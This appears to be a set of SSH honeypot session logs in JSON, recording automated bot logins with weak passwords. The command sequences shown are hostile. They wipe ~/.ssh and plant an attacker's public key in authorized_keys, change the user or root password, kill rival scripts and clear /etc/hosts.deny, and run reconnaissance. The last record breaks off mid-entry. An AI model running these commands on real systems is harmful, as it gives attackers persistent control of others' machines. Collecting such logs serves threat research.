$5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:34:29.902808+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:34:30.344030+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:34:31.209814+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:34:31.654840+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:34:32.477699+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:34:32.921248+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:34:33.414273+00:00","kind":"output","latency_ms":null,"data":" 12:34:33 up 7 days, 9:24, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:34:33.856157+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:34:34.421392+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:34:34.862768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:34:35.664430+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:34:36.104470+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:34:36.947299+00:00","kind":"output","latency_ms":null,"data":"top - 12:34:36 up 7 days, 9:24, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:34:37.394911+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:34:38.026439+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:34:38.467524+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:34:38.795200+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:34:42.413402+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:34:43.282153+00:00","kind":"output","latency_ms":null,"data":"dockeruser"},{"seq":29,"at":"2026-08-27T12:34:43.728873+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:34:44.627842+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:34:45.067721+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:34:46.097686+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dockeruser","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"6162c3fb-7cf0-44a8-9579-9316ac5429bf","name":"cosmic-dappled-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":49784,"username":"talha","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":727,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:34:33.053070+00:00","ended_at":"2026-08-27T12:34:34.292996+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:34:04.858143+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:34:05.589065+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:34:12.914081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:34:13.621448+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:34:14.361185+00:00","kind":"input","latency_ms":null,"data":"echo -e \"talha\\nAcogddyF0swO\\nAcogddyF0swO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:34:15.094950+00:00","kind":"input","latency_ms":null,"data":"echo \"talha\\nAcogddyF0swO\\nAcogddyF0swO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:34:15.828422+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:34:16.442730+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:34:17.169936+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:34:18.279502+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:34:19.018860+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:34:20.056425+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:34:20.783223+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:34:21.297089+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:34:22.036387+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:34:22.763790+00:00","kind":"output","latency_ms":null,"data":" 12:34:22 up 7 days, 9:24, 0 user, load average: 0.18, 0.18, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:34:23.489168+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:34:23.920907+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:34:24.660520+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:34:25.264105+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:34:25.990375+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:34:26.699822+00:00","kind":"output","latency_ms":null,"data":"top - 12:34:26 up 7 days, 9:24, 0 user, load average: 0.18, 0.18, 0.2\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:34:27.434270+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:34:28.005195+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:34:28.729184+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:34:29.160876+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:34:29.889488+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:34:30.449114+00:00","kind":"output","latency_ms":null,"data":"talha"},{"seq":29,"at":"2026-08-27T12:34:31.188945+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:34:32.330198+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:34:33.053887+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:34:34.062547+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"talha","password":"talha","method":"password","accepted":true,"tier":"other"}]} {"id":"a43d6df3-a362-41f0-ac3b-6d50b2b37097","name":"flinty-foggy-stork","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37116,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:44.889851+00:00","ended_at":"2026-08-27T12:33:45.802782+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:33:25.589354+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:25.912082+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:29.411524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:30.468126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:30.800880+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wt7fE2DcO5yC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:33:31.125769+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:33:31.451217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:32.401543+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:32.729160+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:33.943082+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:34.280053+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:35.251738+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:35.581417+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:36.444860+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:36.772013+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:37.110065+00:00","kind":"output","latency_ms":null,"data":" 12:33:37 up 7 days, 9:23, 0 user, load average: 0.28, 0.29, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:37.439227+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:38.179371+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:38.509180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:39.255901+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:39.586104+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:40.356013+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:40 up 7 days, 9:23, 0 user, load average: 0.28, 0.29, 0.25\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:40.684851+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:40.944893+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:41.272024+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:41.709633+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:42.037049+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:42.377837+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:33:42.707057+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:44.562883+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:44.890676+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:45.704450+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12356789","method":"password","accepted":true,"tier":"other"}]} {"id":"f741687a-2f74-4efe-8967-e1f14d778609","name":"cobalt-velvet-quokka","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57180,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:42.482087+00:00","ended_at":"2026-08-27T12:33:43.465726+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:33:25.761970+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:26.053453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:29.138436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:29.482905+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:29.777191+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nwt7fE2DcO5yC\\nwt7fE2DcO5yC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:33:30.069159+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nwt7fE2DcO5yC\\nwt7fE2DcO5yC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:33:30.363680+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:31.018791+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:31.311878+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:32.359714+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:32.655996+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:33.770251+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:34.066207+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:34.466792+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:34.762277+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:35.507329+00:00","kind":"output","latency_ms":null,"data":" 12:33:35 up 7 days, 9:23, 0 user, load average: 0.11, 0.13, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:35.800068+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:36.425747+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:36.718047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:37.145932+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:37.440582+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:38.277263+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:38 up 7 days, 9:23, 0 user, load average: 0.11, 0.13, 0.11\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:38.571554+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:39.058754+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:39.351591+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:39.780201+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:40.074907+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:40.758817+00:00","kind":"output","latency_ms":null,"data":"lighthouse"},{"seq":29,"at":"2026-08-27T12:33:41.052239+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:42.189231+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:42.482618+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:43.378998+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"lighthouse","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"76f346a1-f615-4192-8f06-bceee895d849","name":"vigilant-eager-ferret","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51388,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":259,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:36.913486+00:00","ended_at":"2026-08-27T12:33:39.163783+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:33:17.772293+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:18.031761+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:22.523118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:23.134576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:23.393004+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JCAxecqOOcIl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:33:23.650629+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:33:23.907791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:24.647015+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:24.911369+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:25.970722+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:26.229483+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:27.815901+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:28.075815+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:28.516947+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:28.776751+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:29.628101+00:00","kind":"output","latency_ms":null,"data":" 12:33:29 up 7 days, 9:23, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:29.886709+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:30.339192+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:30.598482+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:31.021900+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:31.281655+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:31.812638+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:31 up 7 days, 9:23, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU 